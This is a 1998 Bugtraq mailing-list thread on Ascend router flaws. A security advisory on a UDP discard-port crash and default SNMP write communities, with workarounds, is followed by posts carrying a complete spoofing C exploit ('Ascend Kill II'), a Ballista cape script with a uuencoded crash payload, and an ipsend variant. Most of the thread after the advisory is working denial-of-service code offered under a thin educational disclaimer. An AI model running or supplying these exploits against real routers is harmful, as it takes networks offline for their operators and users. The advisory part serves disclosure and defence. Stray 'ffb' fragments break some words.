Date: Mon, 16 Mar 1998 13:49:40 -0700
From: "Secure Networks Inc." <sni@SECURENETWORKS.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: SNI-26: Ascend Router Security Issues
-----BEGIN PGP SIGNED MESSAGE-----
###### ## ## ######
## ### ## ##
###### ## # ## ##
## ## ### ##
###### . ## ## . ######.
Secure Networks Inc.
Security Advisory
March 16, 1998
Security Issues with Ascend Routing Hardware
- -----------------------------------------------------------------------------
SYNOPSIS
Ascend Communications provides several popular routing and access-server
solution, including the Pipeline access router and the MAX access server.
Due to problems in the Ascend operating system that runs on these
platforms, it is possible to deny service to networks that depend on them.
Additionally, knowledge of the SNMP "write" community (which defaults to
"write") enables an attacker to download the entire configuration file of
the router, which contains access passwords and other sensitive
information.
- -----------------------------------------------------------------------------
DESCRIPTION of DENIAL OF SERVICE PROBLEM
Ascend provides a configuration tool for their equipment which enables
operators to reconfigure routers via a graphical interface. This tool is
called the "Ascend Java Configurator". The Ascend Configurato
ffb
r is capable
of locating Ascend routers on a network, using a special probe protocol.
In order to locate Ascend routers, the Configurator broadcasts a specially
formatted UDP packet to the "discard" port (port 9). Ascend routers listen
for these packets and respond with another UDP packet that contains the
symbolic name of the router. In this manner, the Configurator can build
a list of all Ascend routers on the local network.
By sending a specially formatted malformed probe packet to the discard
port of an Ascend router, an attacker can cause an Ascend router to lock
up. Attackers can easily discover Ascend routers to crash by sending probe
packets to the discard port of arbitrary ranges of addresses; only Ascend
routers will respond to them.
- -----------------------------------------------------------------------------
DESCRIPTION of SNMP SECURITY ISSUE
Ascend routers are manageable by the SNMP protocol. Ascend's SNMP support
includes the ability to read and write MIB variables. Ascend's SNMP system
is protected by the SNMP community definitions, which act as passwords for
SNMP access. By default, the SNMP "read" password is "public", and the
SNMP "write" password is "write". An attacker that can guess the SNMP
"read" community can read arbitrary MIB variables, and an attacker that
can guess the "write" community can set arbitrary MIB variables to new
values.
Ascend provides a vendor-specific extension MIB. This MIB includes
variables specific to Ascend equipment. Among these variables is a group
of settings called "sysConfigTftp", which allow the configuration of the
router to be manipulated via the TFTP protocol. By writing to these
variables with SNMP "set" messages, an attacker can download the entire
configuration of the Ascend router.
The full configuration of an Ascend router includes the telnet password
(knowledge of which allows an attacker to gain telnet access to the Ascend
menu interface), all the enhanced access passwords (allowing an attacker
to reconfigure the router from the menu interface), network protocol
authentication keys (including RADIUS and OSPF keys), usernames and
passwords for incoming connections, and usernames, passwords, and dial-up
phone numbers for outgoing connections. All of this information is in
plaintext.
An attacker with full access to an Ascend router can also use it to
"sniff" the networks it is attached to. Ascend routers have an extensive
(and largely undocumented) debugging interface; functions are included in
this interface to obtain hexadecimal dumps of raw Ethernet, ISDN, DS1, and
modem traffic.
- -----------------------------------------------------------------------------
VULNERABLE SYSTEMS
These issues are known to be relevant to Ascend Pipeline and MAX
networking equipment. These vulnerabilities have been confirmed in
Ascend's operating system at version 5.0Ap42 (MAX) and 5.0A (Pipeline).
Ascend's 6.0 operating system disables SNMP "write" access by default.
Previous versions of the software enable SNMP "write" access with a
default community of "write".
- -----------------------------------------------------------------------------
RESOLUTION
The denial-of-service issue detailed in this advisory is due to an
implementation flaw in Ascend's software. While no immediate fix is
available, it is possible to work around this problem by filtering out
packets to the UDP discard port (9).
Because SNMP "write" access on an Ascend router is equivalent to complete
administrative access, it is very important that the community chosen is
hard to guess. Deployed Ascend equipment should be checked to ensure that
default (or easily guessed) communities are not in use.
The SNMP configuration of an Ascend router is available through the
menuing system, as "Ethernet...Mod Config...SNMP Options...".
- -----------------------------------------------------------------------------
ADDITIONAL INFORMATION
These issues were identified originally by Jennifer Myers and
Thomas H. Ptacek at Secure Networks, Inc. SNI thanks Kit Knox
of CONNECTnet INS, Inc. for his assistan
ffb
ce with this work.
Information about Ascend Communications is available at their website
at http://www.ascend.com. Products mentioned in this advisory are
trademarks of Ascend.
- -----------------------------------------------------------------------------
ABOUT SECURE NETWORKS, INC.
Secure Networks, Inc. (SNI) is a security research and development company
based in Calgary, Alberta, Canada. SNI is the largest independent source
of full-disclosure security advisories and new vulnerability information
in the world. For more information about this or other advisories, contact
us at <sni@secnet.com>. A PGP key is provided if privacy is required.
For the full text of this and all of SNI's other advisories, see our web
page at "http://www.secnet.com/advisories/". General information about SNI
is available at "http://www.secnet.com".
- -----------------------------------------------------------------------------
COPYRIGHT INFORMATION
he contents of this advisory are Copyright (C) 1998 Secure Networks
Inc, and may be distributed freely provided that no fee is charged for
distribution, and that proper credit is given.
- -----------------------------------------------------------------------------
Type Bits/KeyID Date User ID
pub 1024/9E55000D 1997/01/13 Secure Networks Inc. <sni@secnet.com>
Secure Networks <security@secnet.com>
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Date: Mon, 16 Mar 1998 19:28:28 -0600
From: Aleph One <aleph1@DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: Ascend Kill II - C version
/*
* Ascend Kill II - C version
*
* (C) 1998 Rootshell - http://www.rootshell.com/ <info@rootshell.com>
*
* Distribute freely.
*
* Released: 3/16/98
*
* Thanks to Secure Networks. See SNI-26: Ascend Router Security Issues
* (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
*
* Sends a specially constructed UDP packet on the discard port (9)
* which cause Ascend routers to reboot. (Warning! Ascend routers will
* process these if they are broadcast packets.)
*
* Compiled under RedHat 5.0 with glibc.
*
* NOTE: This program is NOT to be used for malicous purp
ffb
oses. This is
* intenteded for educational purposes only. By using this program
* you agree to use this for lawfull purposes ONLY.
*
* It is worth mentioning that Ascend has known about this bug for quite
* some time.
*
* Fix:
*
* Filter inbound UDP on port 9.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <linux/udp.h>
#include <netdb.h>
#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }
/* This magic packet was taken from the Java Configurator */
char ascend_data[] =
{
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53};
unsigned short
in_cksum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int
sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long int saddr, daddr;
char *data;
{
struct iphdr ip;
struct udphdr udp;
static char packet[8192];
char crashme[500];
int i;
ip.ihl = 5;
ip.version = 4;
ip.tos = rand () % 100;;
ip.tot_len = htons (28 + datalen);
ip.id = htons (31337 + (rand () % 100));
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_UDP;
ip.check = 0;
ip.saddr = saddr;
ip.daddr = daddr;
ip.check = in_cksum ((char *) &ip, sizeof (ip));
udp.source = htons (sport);
udp.dest = htons (dport);
udp.len = htons (8 + datalen);
udp.check = (short) 0;
memcpy (packet, (char *) &ip, sizeof (ip));
memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
/* Append random garbage to the packet, without this the router
will think this is a valid probe packet and reply. */
for (i = 0; i < 500; i++)
crashme[i] = rand () % 255;
memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
(struct sockaddr *) sin, sizeof (struct sockaddr_in)));
}
unsigned int
lookup (host)
char *host;
{
unsigned int addr;
struct hostent *he;
addr = inet_addr (host);
if (addr == -1)
{
he = gethostbyname (host);
if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
return 0;
bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
}
return (addr);
}
void
main (argc, argv)
int argc;
char **argv;
{
unsigned int saddr, daddr;
struct sockaddr_in sin;
int s, i;
if (argc != 3)
errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
err ("Unable to open raw socket.\n");
if (!(saddr = lookup (argv[1])))
err ("Unable to lookup source address.\n");
if (!(daddr = lookup (argv[2])))
err ("Unable to lookup destination address.\n");
sin.sin_family = AF_INET;
sin.sin_port = 9;
sin.sin_addr.s_addr = daddr;
if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
{
perror ("sendpkt_udp");
err ("Error sending the UD
ffb
P packet.\n");
}
}
Date: Mon, 16 Mar 1998 19:30:28 -0600
From: Aleph One <aleph1@DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: Ascend Kill II - Ballista "cape" version
[ from rootshell ]
Secure Networks makes security auditing software called Ballista. It has
its own scripting language called cape. Here is a version of Ascend Kill II
written in cape. Check out how small it is!
-- cut here --
iface=le0
# Enter your default gateway
gateway.0.0.1
ip
# Source IP of packet
ip_src=1.2.3.4
# Address of Ascend router
ip_dst.0.0.2
ip_version=4
ip_proto=IPPROTO_UDP
ip_flags=0
ip_done
udp
udp_sport=9
udp_dport=9
udp_done
data_file=ascend_data
end_of_packet
-- cut here --
Here is the data that cape needs. It is uuencoded.
begin 644 ascend_data.uue
M 'H@@2S/VD@0 2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0
M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
end
Date: Wed, 18 Mar 1998 12:43:29 +1100
From: Darren Reed <avalon@COOMBS.ANU.EDU.AU>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Ascend Kill II - Ballista "cape" version
In some mail from Aleph One, sie said:
>
> [ from rootshell ]
>
> Secure Networks makes security auditing software called Ballista. It has
> its own scripting language called cape. Here is a version of Ascend Kill II
> written in cape. Check out how small it is!
>
> -- cut here --
> -- cut here --
>
> Here is the data that cape needs. It is uuencoded.
>
> begin 644 ascend_data.uue
> M 'H@@2S/VD@0 2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0
> M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> 99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
>
> end
Using that data file with ipsend v2:
interface { ifname le0; mtu 1500; };
ipv4 {
src 1.1.1.1; dst 10.0.0.2;
udp { sport 9; dport 9; data { file ascend_data.uue; }; };
};
send { via 10.0.0.1; };
# intenteded for educational purposes only. By using this program
# you agree to use this for lawfull purposes ONLY.
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